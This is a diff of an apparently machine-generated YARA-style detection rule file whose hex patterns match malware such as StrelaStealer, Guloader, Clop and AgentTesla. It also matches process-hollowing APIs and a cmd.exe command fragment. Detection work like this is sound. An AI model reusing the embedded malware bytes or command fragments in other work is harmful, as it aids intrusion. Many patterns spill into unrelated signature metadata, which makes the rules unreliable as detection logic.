53 65 65 64 2e 41 21 64 68 61 00 01 00 11 42 b9 } //115 + $a_09_3 = {e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 7b eb 95 8d e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 34 44 b9 45 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1b 01 97 05 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1e 1a bf 42 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 9f 23 ce 00 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 75 38 db 02 e8 90 01 02 ff ff 48 83 c4 28 90 00 00 00 78 c2 00 00 03 00 03 00 03 00 21 23 48 } //5903 + $a_3a_4 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 4f 32 33 39 21 4d 54 42 00 01 00 30 01 5a 3b 36 44 3b 5a 3b 36 32 3b 5a 3b 36 43 3b 5a 3b 37 39 3b 5a 3b 32 30 3b 5a 3b 35 36 3b 5a 3b 36 35 3b 5a 3b 37 32 3b 5a 3b 37 } //21587 + $a_3b_5 = {01 00 39 01 39 3b 5a 3b 36 46 3b 5a 3b 36 45 3b 5a 3b 5a 3b 5a 3b 33 32 3b 5a 3b 32 45 3b 5a 3b 33 31 3b 5a 3b 32 45 3b 5a 3b 33 30 3b 5a 3b 32 45 3b 5a 3b 33 30 3b 5a 3b 5a 3b 5a 3b 01 00 1a 01 5a 3b 34 30 3b 30 31 3b 5a 3b 30 43 3b 5a 3b 5a 3b 5a 3b 45 30 3b 33 46 3b } //15155 condition: - ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*115+(#a_5a_3 & 1)*12288+(#a_3b_4 & 1)*15172+(#a_30_5 & 1)*15194) >=2 + ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*115+(#a_09_3 & 1)*5903+(#a_3a_4 & 1)*21587+(#a_3b_5 & 1)*15155) >=2 } -rule _InfrastructureShared_13368{ +rule _InfrastructureShared_14249{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 79 73 64 75 70 61 74 65 53 65 65 64 2e 41 21 64 68 61 00 01 00 11 42 b9 0f 17 99 09 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 7b eb 95 8d e8 90 01 02 ff ff 48 83 c4 28 90 00 01 } //16675 + $a_b9_1 = {44 b9 45 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1b 01 97 05 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 1e 1a bf 42 e8 90 01 02 ff ff 48 83 c4 28 90 00 01 00 11 42 b9 9f 23 ce 00 } //4352 + $a_02_2 = {ff } //-28440 + $a_c4_3 = {90 00 01 00 11 42 b9 75 38 db 02 e8 90 01 02 ff ff 48 83 c4 28 90 00 00 00 78 c2 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 4f 32 33 39 21 4d 54 42 00 01 00 30 01 5a 3b 36 44 3b 5a 3b 36 32 3b 5a 3b 36 43 3b 5a 3b 37 39 3b 5a 3b 32 30 3b 5a 3b 35 36 3b 5a 3b 36 35 3b 5a 3b 37 32 3b 5a 3b 37 33 3b 5a 3b 36 01 } //18687 + $a_39_4 = {5a } //14592 Z + $a_3b_5 = {3b 36 45 3b 5a 3b 5a 3b 5a 3b 33 32 3b 5a 3b 32 45 3b 5a 3b 33 31 3b 5a 3b 32 45 3b 5a 3b 33 30 3b 5a 3b 32 45 3b 5a 3b 33 30 3b 5a 3b 5a 3b 5a 3b 01 00 1a 01 5a 3b 34 30 3b 30 31 3b 5a 3b 30 43 3b 5a 3b 5a 3b } //13883 + $a_30_6 = {33 46 3b 5a 00 00 78 c2 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 48 58 30 31 21 4d 54 42 00 01 00 51 81 01 57 55 a2 09 09 01 00 } //15194 + condition: + ((#a_46_0 & 1)*16675+(#a_b9_1 & 1)*4352+(#a_02_2 & 1)*-28440+(#a_c4_3 & 1)*18687+(#a_39_4 & 1)*14592+(#a_3b_5 & 1)*13883+(#a_30_6 & 1)*15194) >=2 + +} +rule _InfrastructureShared_14250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150750,7 +160869,7 @@ rule _InfrastructureShared_13368{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*13111+(#a_01_2 & 1)*23099) >=3 } -rule _InfrastructureShared_13369{ +rule _InfrastructureShared_14251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150760,7 +160879,7 @@ rule _InfrastructureShared_13369{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_13370{ +rule _InfrastructureShared_14252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150771,7 +160890,7 @@ rule _InfrastructureShared_13370{ ((#a_46_0 & 1)*21283+(#a_89_1 & 1)*17803) >=3 } -rule _InfrastructureShared_13371{ +rule _InfrastructureShared_14253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -150782,7 +160901,7 @@ rule _InfrastructureShared_13371{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*86) >=3 } -rule _InfrastructureShared_13372{ +rule _InfrastructureShared_14254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -150795,7 +160914,7 @@ rule _InfrastructureShared_13372{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25958+(#a_63_2 & 1)*30063+(#a_48_3 & 1)*-29884) >=3 } -rule _InfrastructureShared_13373{ +rule _InfrastructureShared_14255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -150808,7 +160927,7 @@ rule _InfrastructureShared_13373{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*257+(#a_2e_2 & 1)*27002+(#a_04_3 & 1)*26116) >=3 } -rule _InfrastructureShared_13374{ +rule _InfrastructureShared_14256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -150822,7 +160941,7 @@ rule _InfrastructureShared_13374{ ((#a_54_0 & 1)*18467+(#a_c2_1 & 1)*26318+(#a_01_2 & 1)*9504+(#a_75_3 & 1)*31008+(#a_73_4 & 1)*26723) >=3 } -rule _InfrastructureShared_13375{ +rule _InfrastructureShared_14257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150833,19 +160952,32 @@ rule _InfrastructureShared_13375{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*29472) >=4 } -rule _InfrastructureShared_13376{ +rule _InfrastructureShared_14258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 58 30 31 21 4d 54 42 00 01 00 27 03 11 07 11 10 17 8d 90 01 01 00 00 01 25 16 11 06 11 10 9a 1f 10 28 90 01 01 00 00 0a 86 9c 6f 90 01 01 00 00 0a 90 00 01 00 24 81 01 64 } //18467 $a_66_1 = {36 30 2d 36 35 66 37 2d 34 35 33 38 2d 61 37 33 34 2d 34 66 37 62 33 64 62 64 35 37 39 37 01 00 1e 81 01 67 65 74 5f 44 57 45 59 55 47 53 54 47 44 55 49 57 54 5f 49 59 55 54 44 57 41 54 47 49 55 01 00 16 81 01 53 74 75 64 65 6e 74 5f 4d 61 72 6b 73 5f 41 6e 61 6c 79 73 69 73 00 00 78 c2 00 00 04 } //12855 - $a_41_3 = {46 3a 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4d 79 57 65 62 53 65 61 72 63 68 21 62 69 } //8448 F:HSTR:Program:Win32/MyWebSearch!bi + $a_53_3 = {46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 4b 00 01 00 29 03 48 89 54 24 28 48 8b } //8448 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*12855+(#a_41_3 & 1)*8448) >=4 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*12855+(#a_53_3 & 1)*8448) >=4 } -rule _InfrastructureShared_13377{ +rule _InfrastructureShared_14259{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 4b 00 01 00 29 03 48 89 54 24 28 48 8b 55 10 48 89 54 24 20 41 b9 90 01 04 41 b8 90 01 04 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 15 03 48 8b 45 f8 ba } //21283 + $a_48_1 = {c1 48 8b 05 } //400 + $a_ff_2 = {90 00 01 00 } //400 + $a_89_3 = {24 40 48 c7 44 24 38 90 01 04 48 c7 44 24 30 90 01 04 c7 44 24 28 04 00 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 90 01 04 ba 90 01 04 ff d0 90 00 01 00 18 03 48 c7 44 24 20 90 01 04 41 b9 90 01 04 49 89 } //824 + condition: + ((#a_46_0 & 1)*21283+(#a_48_1 & 1)*400+(#a_ff_2 & 1)*400+(#a_89_3 & 1)*824) >=4 + +} +rule _InfrastructureShared_14260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -150854,27 +160986,40 @@ rule _InfrastructureShared_13377{ $a_77_1 = {5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 31 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 09 01 74 38 72 65 73 2e 64 6c 6c 01 00 0a 01 46 46 58 54 42 52 2e 4a 41 52 00 00 78 c2 00 00 04 00 04 00 06 00 } //25710 $a_4c_2 = {50 45 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 66 6f 72 6d 2e 42 21 64 68 61 00 01 00 10 01 63 3a 5c 63 6d 64 72 65 73 75 6c 74 2e 74 78 74 01 00 0e 01 25 73 69 6e 74 65 } //8993 $a_6c_3 = {74 78 74 01 00 2c 01 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 66 00 69 00 6c 00 65 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 21 00 01 00 19 01 50 72 6f 63 65 73 73 20 66 69 6c 65 20 62 6c 6f 63 6b 20 25 64 20 6e 6f 77 01 00 09 01 43 58 6f 72 7a 7a 44 6f 63 01 00 0e 01 } //30322 - $a_00_4 = {6c 00 6f 00 77 00 65 00 72 00 00 00 78 c2 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 41 48 21 4d 54 42 00 05 00 2b 01 41 20 f1 44 88 d7 40 80 f7 ff 40 80 e7 00 41 20 f2 44 08 cb 44 08 d7 40 30 fb 45 88 d9 41 20 d9 41 30 } //69 + $a_00_4 = {6c 00 6f 00 77 00 65 00 72 00 00 00 78 c2 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 72 6f 63 65 73 73 48 6f 6c 6c 6f 77 69 6e 67 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 01 00 0e 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 0c 81 01 } //69 condition: ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*25710+(#a_4c_2 & 1)*8993+(#a_6c_3 & 1)*30322+(#a_00_4 & 1)*69) >=4 } -rule _InfrastructureShared_13378{ +rule _InfrastructureShared_14261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {45 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 6c 6f 77 65 72 66 6f 72 6d 2e 42 21 64 68 61 00 01 00 10 01 63 3a 5c 63 6d 64 72 65 73 75 6c 74 2e 74 78 74 01 00 0e 01 25 73 69 6e 74 65 72 76 61 6c 2e 74 78 74 01 00 2c 01 } //16675 - $a_00_1 = {6f 00 63 00 65 00 73 00 73 00 20 00 66 00 69 00 6c 00 65 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 21 00 01 00 19 01 50 72 6f 63 65 73 73 20 66 69 6c 65 20 62 6c 6f 63 6b 20 25 64 20 6e 6f 77 01 00 09 01 43 58 6f 72 7a 7a 44 6f 63 01 00 0e 01 45 00 66 00 6c 00 6f 00 77 00 65 00 72 00 00 00 78 c2 00 00 05 00 05 00 02 00 21 23 } //80 - $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 41 48 21 4d 54 42 00 05 00 2b 01 41 20 f1 44 88 d7 40 80 f7 ff 40 80 e7 00 41 20 f2 44 08 cb 44 08 d7 40 30 fb 45 88 d9 41 20 } //19521 - $a_db_3 = {08 d9 41 f6 c1 01 0f 05 00 5d 01 41 88 c2 41 80 f2 ff 41 80 e2 01 41 88 f3 41 80 f3 01 44 20 d8 40 88 f3 80 f3 01 80 e3 ff 41 80 e3 01 41 08 c2 } //16857 - $a_41_4 = {da 40 88 e8 24 00 40 80 f5 00 40 08 e8 41 80 f2 ff 34 ff 40 80 f6 00 41 08 c2 40 80 ce 00 41 80 f2 ff 41 20 f2 88 c8 44 20 d0 44 30 d1 08 c8 a8 01 0f 85 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 74 70 54 6f 6f 6c 2e 41 21 64 68 61 00 01 00 11 03 81 fb e7 03 00 00 f3 a4 0f 8f 90 01 02 00 00 90 00 01 00 0f 01 45 72 72 6f 72 2c 42 79 65 62 79 65 21 0d 0a 01 00 10 01 25 73 5c 63 6d 64 2e 65 78 65 20 2f 63 20 25 73 01 00 05 01 25 73 2e 43 54 01 00 4e 01 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 44 65 62 69 61 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a } //2116 - $a_0d_5 = {0a 0d 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 2e 3c 2f 68 31 3e 0d 0a 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 42 61 } //12832 + $a_00_1 = {6f 00 63 00 65 00 73 00 73 00 20 00 66 00 69 00 6c 00 65 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 21 00 01 00 19 01 50 72 6f 63 65 73 73 20 66 69 6c 65 20 62 6c 6f 63 6b 20 25 64 20 6e 6f 77 01 00 09 01 43 58 6f 72 7a 7a 44 6f 63 01 00 0e 01 45 00 66 00 6c 00 6f 00 77 00 65 00 72 00 00 00 78 c2 00 00 04 00 04 00 07 00 21 23 } //80 + $a_52_2 = {57 69 6e 33 32 2f 50 72 6f 63 65 73 73 48 6f 6c 6c 6f 77 69 6e 67 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 01 00 0e 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 0c 81 01 52 65 73 75 6d 65 54 68 72 65 61 } //21320 + $a_55_4 = {6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 01 00 12 81 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 10 81 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 14 81 01 4e 74 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 00 78 c2 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 } //23041 + $a_53_5 = {65 61 6c 65 72 2e 47 50 41 48 21 4d 54 42 00 05 00 2b 01 41 20 f1 44 88 d7 40 80 f7 ff 40 80 e7 00 41 20 f2 44 08 cb 44 08 d7 40 30 fb 45 88 d9 41 20 d9 41 30 db 45 08 d9 41 f6 c1 01 0f 05 00 5d 01 41 88 c2 41 80 f2 ff 41 80 e2 01 41 88 f3 41 80 f3 01 44 20 d8 40 88 f3 80 f3 01 80 e3 ff 41 } //27749 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*80+(#a_3a_2 & 1)*19521+(#a_db_3 & 1)*16857+(#a_41_4 & 1)*2116+(#a_0d_5 & 1)*12832) >=4 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*80+(#a_52_2 & 1)*21320+(#a_55_4 & 1)*23041+(#a_53_5 & 1)*27749) >=4 } -rule _InfrastructureShared_13379{ +rule _InfrastructureShared_14262{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 50 72 6f 63 65 73 73 48 6f 6c 6c 6f 77 69 6e 67 2e 50 52 21 41 4d 54 42 00 01 00 0d 81 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 01 00 0e 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 0c 81 01 52 65 73 75 6d 65 54 68 72 } //18467 + $a_01_1 = {00 14 81 01 5a 77 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 01 00 12 81 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 10 81 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 14 81 01 4e 74 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 00 78 c2 00 00 05 } //24933 + $a_41_3 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 47 50 41 48 21 4d } //8448 F:Trojan:Win64/StrelaStealer.GPAH!M + $a_41_5 = {f1 } //11008 + $a_40_6 = {f7 ff 40 80 e7 00 41 20 f2 44 08 cb 44 08 d7 40 30 fb 45 88 d9 41 20 d9 41 30 db 45 08 d9 41 f6 c1 01 0f 05 00 5d 01 41 88 c2 41 80 f2 ff 41 80 e2 01 41 88 f3 41 80 f3 01 44 20 d8 40 88 f3 80 f3 01 80 e3 ff 41 80 e3 01 41 08 c2 44 08 db 41 30 da 40 88 e8 24 00 40 80 f5 00 40 08 e8 41 80 f2 ff 34 ff 40 80 f6 00 41 08 c2 40 80 ce 00 41 80 f2 ff 41 20 f2 88 c8 44 20 d0 44 30 d1 08 c8 a8 01 0f 85 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 74 70 54 6f 6f 6c 2e 41 21 64 68 61 00 01 00 11 03 81 fb e7 03 00 00 f3 a4 0f 8f 90 01 02 00 00 90 00 01 00 0f 01 45 72 72 6f 72 2c 42 79 65 62 79 } //-30652 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24933+(#a_41_3 & 1)*8448+(#a_41_5 & 1)*11008+(#a_40_6 & 1)*-30652) >=4 + +} +rule _InfrastructureShared_14263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -150885,7 +161030,7 @@ rule _InfrastructureShared_13379{ ((#a_46_0 & 1)*16675+(#a_f6_1 & 1)*-9976) >=5 } -rule _InfrastructureShared_13380{ +rule _InfrastructureShared_14264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150899,7 +161044,7 @@ rule _InfrastructureShared_13380{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28003+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=5 } -rule _InfrastructureShared_13381{ +rule _InfrastructureShared_14265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150913,7 +161058,7 @@ rule _InfrastructureShared_13381{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27759+(#a_56_2 & 1)*284+(#a_30_3 & 1)*13874+(#a_75_4 & 1)*29541) >=5 } -rule _InfrastructureShared_13382{ +rule _InfrastructureShared_14266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150927,7 +161072,7 @@ rule _InfrastructureShared_13382{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11891+(#a_47_2 & 1)*12851+(#a_73_3 & 1)*27749+(#a_70_4 & 1)*28783) >=5 } -rule _InfrastructureShared_13383{ +rule _InfrastructureShared_14267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150940,21 +161085,35 @@ rule _InfrastructureShared_13383{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25120+(#a_47_2 & 1)*12851+(#a_01_3 & 1)*7424) >=5 } -rule _InfrastructureShared_13384{ +rule _InfrastructureShared_14268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 54 31 32 33 21 4d 54 42 00 01 00 16 81 01 6d 6f 72 62 69 6c 69 74 79 20 6e 6f 6e 62 72 65 61 63 68 69 6e 67 01 00 1d 81 01 70 72 6f 6d 69 6c 6c 65 6b 72 73 65 6c 20 74 61 78 65 73 20 73 6c 76 } //18467 $a_79_1 = {73 01 00 13 81 01 70 74 65 72 79 67 69 61 20 65 6e 66 6c 65 75 72 61 67 65 01 00 18 81 01 62 6e 6b 73 6c 69 62 65 72 6e 65 73 20 73 79 6e 73 6b 72 65 64 73 65 73 01 00 21 81 01 62 65 73 6b 61 72 20 62 72 6f 6e 7a 65 6d 65 64 61 6c 6a 65 72 6e 65 73 20 64 79 6e 61 73 74 69 73 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 48 53 54 } //24940 - $a_69_2 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 52 30 31 21 4d 54 42 00 01 00 1e 81 01 38 38 5c 54 69 72 72 65 74 34 32 5c 70 62 65 6c 61 67 74 69 67 73 74 2e 43 61 72 32 30 31 01 00 2a 81 01 25 73 74 72 75 6b 74 75 72 72 61 74 69 6f 6e 61 6c 69 73 65 72 69 6e 67 } //14930 - $a_5c_3 = {72 69 67 73 73 6b 75 65 70 6c 61 64 73 01 00 10 81 01 35 5c 4b 6f 67 65 6b 6f 6e 65 6e 73 2e 6c 6e 6b 01 00 1f } //29285 - $a_6f_4 = {61 6d 69 6e 69 66 65 72 20 6f 75 74 72 65 63 6b 6f 6e 20 63 6f 6c 6c 65 67 65 74 73 01 00 09 81 01 61 66 6f 72 65 2e 65 78 65 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 43 6c 6f 70 2e 4b 21 4d 54 42 00 01 00 3e 01 53 74 61 72 74 20 6d 6f 6e 69 74 6f 72 69 } //385 + $a_69_2 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 49 30 31 21 4d 54 42 00 01 00 27 81 01 62 72 6f 77 73 65 72 20 74 72 65 64 6a 65 67 72 61 64 73 66 6f 72 62 72 6e 64 69 6e 67 65 72 20 75 64 76 65 6a 65 73 01 00 17 81 01 6b 61 72 74 6f 75 63 68 65 6e 20 68 61 6c 73 73 } //14930 + $a_6b_3 = {72 73 01 00 0f 81 01 61 66 6d 65 6a 6e 69 6e 67 65 72 2e 65 78 65 01 00 11 81 01 6c 69 6c 6c 65 6a 75 6c 65 61 66 74 6e 65 72 6e 65 01 00 23 81 01 64 69 6c 75 74 65 72 73 20 75 6e 63 68 61 72 69 74 61 62 6c 65 6e 65 73 73 20 61 6c 66 6f 6e 73 65 72 73 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 } //31085 + $a_75_4 = {6f 61 64 65 72 2e 52 56 43 52 30 31 21 4d 54 42 00 01 00 1e 81 01 38 38 5c 54 69 72 72 65 74 34 32 5c 70 62 65 6c 61 67 74 69 67 73 74 2e 43 61 72 32 30 31 01 00 2a 81 01 25 73 74 72 75 6b 74 75 72 72 61 74 69 6f } //12082 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24940+(#a_69_2 & 1)*14930+(#a_5c_3 & 1)*29285+(#a_6f_4 & 1)*385) >=5 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24940+(#a_69_2 & 1)*14930+(#a_6b_3 & 1)*31085+(#a_75_4 & 1)*12082) >=5 } -rule _InfrastructureShared_13385{ +rule _InfrastructureShared_14269{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 49 30 31 21 4d 54 42 00 01 00 27 81 01 62 72 6f 77 73 65 72 20 74 72 65 64 6a 65 67 72 61 64 73 66 6f 72 62 72 6e 64 69 6e 67 65 72 20 75 64 76 65 6a 65 73 01 00 17 81 01 6b 61 72 74 6f 75 63 68 } //18467 + $a_68_1 = {6c 73 73 6d 79 6b 6b 65 72 73 01 00 0f 81 01 61 66 6d 65 6a 6e 69 6e 67 65 72 2e 65 78 65 01 00 } //28261 + $a_6c_2 = {6c } //-32495 l + $a_75_3 = {65 61 66 74 6e 65 72 6e 65 01 00 23 81 01 64 69 6c 75 74 65 72 73 20 75 6e 63 68 61 72 69 74 61 62 6c 65 6e 65 73 73 20 61 6c 66 6f 6e 73 65 72 73 00 00 78 c2 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 52 30 31 21 4d 54 42 00 01 00 1e 81 01 38 38 5c 54 69 72 72 } //25964 + $a_32_4 = {70 62 65 6c 61 67 74 69 67 73 74 2e 43 61 72 32 30 31 01 00 2a 81 01 25 73 74 72 75 6b 74 75 72 72 61 74 69 6f 6e 61 6c 69 73 65 72 69 6e 67 65 72 25 5c 6b } //29797 + condition: + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28261+(#a_6c_2 & 1)*-32495+(#a_75_3 & 1)*25964+(#a_32_4 & 1)*29797) >=5 + +} +rule _InfrastructureShared_14270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150968,7 +161127,7 @@ rule _InfrastructureShared_13385{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_69_2 & 1)*14957+(#a_73_3 & 1)*17503+(#a_57_4 & 1)*28257) >=5 } -rule _InfrastructureShared_13386{ +rule _InfrastructureShared_14271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150981,7 +161140,7 @@ rule _InfrastructureShared_13386{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*8293+(#a_78_2 & 1)*11892+(#a_00_4 & 1)*111) >=5 } -rule _InfrastructureShared_13387{ +rule _InfrastructureShared_14272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -150994,7 +161153,7 @@ rule _InfrastructureShared_13387{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*105+(#a_2f_4 & 1)*13166+(#a_46_5 & 1)*20512) >=5 } -rule _InfrastructureShared_13388{ +rule _InfrastructureShared_14273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -151010,7 +161169,7 @@ rule _InfrastructureShared_13388{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*8236+(#a_4c_2 & 1)*8993+(#a_72_3 & 1)*25697+(#a_74_4 & 1)*28265+(#a_00_5 & 1)*97+(#a_49_6 & 1)*12851) >=5 } -rule 